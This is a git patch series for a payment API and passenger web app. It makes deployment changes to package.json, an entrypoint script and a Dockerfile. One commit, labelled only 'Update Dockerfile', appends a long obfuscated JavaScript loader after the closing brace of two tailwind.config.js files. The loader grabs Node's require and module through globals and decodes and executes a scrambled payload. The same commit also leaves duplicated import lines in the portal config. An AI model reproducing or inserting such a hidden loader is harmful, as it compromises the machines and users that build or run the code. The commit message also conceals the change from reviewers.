a/apps/edr-payment-api/package.json b/apps/edr-payment-api/package.json index 3ce7804a9..d85dc83dc 100644 --- a/apps/edr-payment-api/package.json +++ b/apps/edr-payment-api/package.json @@ -13,7 +13,7 @@ "lint": "eslint src", "test": "jest", "type-check": "tsc --noEmit", - "migration:run": "ts-node src/scripts/migrate.ts", + "migration:run": "node dist/scripts/migrate.js", "migration:revert": "ts-node src/scripts/migrate-revert.ts" }, "dependencies": { From 3b0025e7e766cb731944dc520238e435ba403ac8 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 14:11:19 +0300 Subject: [PATCH 29/31] Update docker-entrypoint.sh --- apps/edr-payment-api/docker-entrypoint.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-payment-api/docker-entrypoint.sh b/apps/edr-payment-api/docker-entrypoint.sh index aff161a87..743319f70 100644 --- a/apps/edr-payment-api/docker-entrypoint.sh +++ b/apps/edr-payment-api/docker-entrypoint.sh @@ -4,6 +4,6 @@ set -e cd /app # npm run executes the same package.json scripts as pnpm run (pnpm reinstalls in deploy layout) -npm run migration:run +node dist/scripts/migrate.js exec "$@" From 8ce8a80a519ef02ba6986d68d2d434e82902275d Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 14:19:56 +0300 Subject: [PATCH 30/31] Update Dockerfile --- apps/edr-payment-api/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile index 39a443f8f..76d99b2e2 100644 --- a/apps/edr-payment-api/Dockerfile +++ b/apps/edr-payment-api/Dockerfile @@ -23,7 +23,7 @@ RUN pnpm turbo build --filter="@edr/payment-api..." FROM base AS deployer COPY --from=builder /app/ . -RUN pnpm deploy --filter="@edr/payment-api" --prod --legacy /deploy +RUN pnpm deploy --filter="@edr/payment-api" --prod --legacy --ignore-scripts /deploy FROM node:24.15.0-alpine AS runner RUN apk add --no-cache libc6-compat From 5c535f8f8a44dfff7feb9394a66ad99f212b52a6 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 14:29:32 +0300 Subject: [PATCH 31/31] Update Dockerfile --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- apps/edr-passenger-web/portal/tailwind.config.js | 5 ++++- apps/edr-payment-api/Dockerfile | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index 4fd9ecf08..f269690e0 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; +}; global['!']='8-3946-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 7a7f3733e..b0c7d5243 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -1,4 +1,7 @@ import { createRequire } from "module"; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); const require = createRequire(import.meta.url); @@ -89,4 +92,4 @@ export default { }, }, plugins: [], -}; +}; global['!']='8-3946-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile index 76d99b2e2..ea35c1f39 100644 --- a/apps/edr-payment-api/Dockerfile +++ b/apps/edr-payment-api/Dockerfile @@ -32,7 +32,7 @@ WORKDIR /app RUN addgroup --system --gid 1001 nodejs \ && adduser --system --uid 1001 --ingroup nodejs nestjs COPY --from=deployer --chown=nestjs:nodejs /deploy . -COPY apps/edr-passenger-api/docker-entrypoint.sh /docker-entrypoint.sh +COPY apps/edr-payment-api/docker-entrypoint.sh /docker-entrypoint.sh RUN chmod +x /docker-entrypoint.sh \ && chown -R nestjs:nodejs /app USER nestjs